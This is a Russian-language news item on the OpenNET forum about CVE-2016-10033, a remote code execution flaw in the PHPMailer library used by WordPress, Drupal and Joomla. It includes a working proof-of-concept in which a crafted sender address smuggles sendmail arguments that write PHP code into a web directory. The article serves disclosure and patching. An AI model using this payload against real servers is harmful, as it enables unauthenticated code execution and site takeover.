The OpenNET Project / Index page

[ новости /+++ | форум | теги | ]



Индекс форумов
Составление сообщения

Исходное сообщение
"Критическая уязвимость в PHPMailer, применяемом в WordPress,..."
Отправлено opennews, 27-Дек-16 21:19 
В PHPMailer (https://github.com/PHPMailer/PHPMailer), популярной библиотеке для организации отправки электронный писем из приложений на языке PHP, число пользователей которой оценивается в 9 миллионов, обнаружена (https://legalhackers.com/advisories/PHPMailer-Exploit-Remote...) критическая уязвимость (CVE-2016-10033 (https://security-tracker.debian.org/tracker/CVE-2016-10033)), позволяющая инициировать удаленное выполнение кода без прохождения аутентификации.


Проблема аналогична недавно найденной (https://www.opennet.ru/opennews/art.shtml?num=45643) уязвимости в Roundcube Webmail и также связана с небезопасным использованием PHP-функции mail() совместно с  утилитой sendmail в качестве транспорта по умолчанию. Отсутствие (https://github.com/PHPMailer/PHPMailer/commit/4835657cd639fb...) должной проверки и чистки параметра "Sender", позволяет организовать передачу утилите sendmail произвольных аргументов командной строки, в том числе можно переопределить директорию очереди и файл с логом, что позволяет  организовать запись сообщения в произвольный файл в локальной ФС на сервере с правами под готовыми запускается PHP-приложение.


Например, возможность записи кода в файл /var/www/cache/phpcode.php в качестве отправителя можно указать '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com', что демонстрирует следующий прототип эксплоита (https://legalhackers.com/exploits/CVE-2016-10033/PHPMailer-R...) (опция "-X/var/www/cache/phpcode.php" приведёт к созданию лога /var/www/cache/phpcode.php в который будет записано тело сообщения):

   $email_from = '"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php  some"@email.com';
   $msg_body  = "{?php phpinfo(); ?}";

   require_once('class.phpmailer.php');
   $mail = new PHPMailer();

   $mail->SetFrom($email_from, 'Client Name');

   $address = "customer_feedback@company-X.com";
   $mail->AddAddress($address, "Some User");

   $mail->Subject    = "PHPMailer PoC Exploit CVE-2016-10033";
   $mail->MsgHTML($msg_body);

   if(!$mail->Send()) {
     echo "Mailer Error: " . $mail->ErrorInfo;
   } else {
     echo "Message sent!\n";
   }
    

Проблема устранена в PHPMailer 5.2.18 (https://github.com/PHPMailer/PHPMailer/releases/tag/v5.2.18), все более ранние выпуски подвержены уязвимости. Дистрибутивы пока не выпустили обновления пакетов: Debian (https://security-tracker.debian.org/tracker/CVE-2016-10033), RHEL/CentOS (https://bugzilla.redhat.com/show_bug.cgi?id=CVE-2016-10033), Fedora (https://bodhi.fedoraproject.org/updates/?releases=F25&type=s...), Ubuntu (https://www.ubuntu.com/usn/), SUSE (https://bugzilla.novell.com/show_bug.cgi?id=CVE-2016-10033), openSUSE (https://lists.opensuse.org/opensuse-security-announce/2016-12/). Проблема проявляется при использовании настроек по умолчанию: отключен safe_mode, а для отправки используется PHP-функция mail() и утилита sendmail.


Уязвимость усугубляется тем, что PHPMailer применяется во многих популярных продуктах для Web, в том числе в WordPress, Drupal, Joomla и сотнях других проектов (https://github.com/search?q=class.phpmailer.php&type=Code) (уязвимы или нет данные системы зависит от того, насколько качественно в них реализованы дополнительные проверки email-адресов перед отправкой сообщений и используются ли настройки PHPMailer по умолчанию).


URL: http://openwall.com/lists/oss-security/2016/12/27/5
Новость: https://www.opennet.ru/opennews/art.shtml?num=45774

 

Ваше сообщение
Имя*:
EMail:
Для отправки ответов на email укажите знак ! перед адресом, например, !user@host.ru (!! - не показывать email).
Более тонкая настройка отправки ответов производится в профиле зарегистрированного участника форума.
Заголовок*:
Сообщение*:
 
При общении не допускается: неуважительное отношение к собеседнику, хамство, унизительное обращение, ненормативная лексика, переход на личности, агрессивное поведение, обесценивание собеседника, провоцирование флейма голословными и заведомо ложными заявлениями. Не отвечайте на сообщения, явно нарушающие правила - удаляются не только сами нарушения, но и все ответы на них. Лог модерирования.



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру